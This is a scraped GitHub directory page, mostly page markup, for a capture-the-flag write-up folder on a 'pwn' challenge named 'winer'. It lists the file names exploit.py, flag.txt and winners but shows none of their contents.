<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/gr4n173/CTF-WriteUp/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268424549,"originating_url":"https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/winer","user_id":null}}" data-hydro-click-hmac="1ab481397e8e87fbb88f7bb024a20304e19bc844cb9ae4034ea161692cc3fb52"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>winer<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>winer<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/gr4n173/CTF-WriteUp/tree-commit/9f0199001fc84bb659dd880a0ff160c79abb078c/Castorsctf/pwn/winer" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/gr4n173/CTF-WriteUp/file-list/master/Castorsctf/pwn/winer"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>winners</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 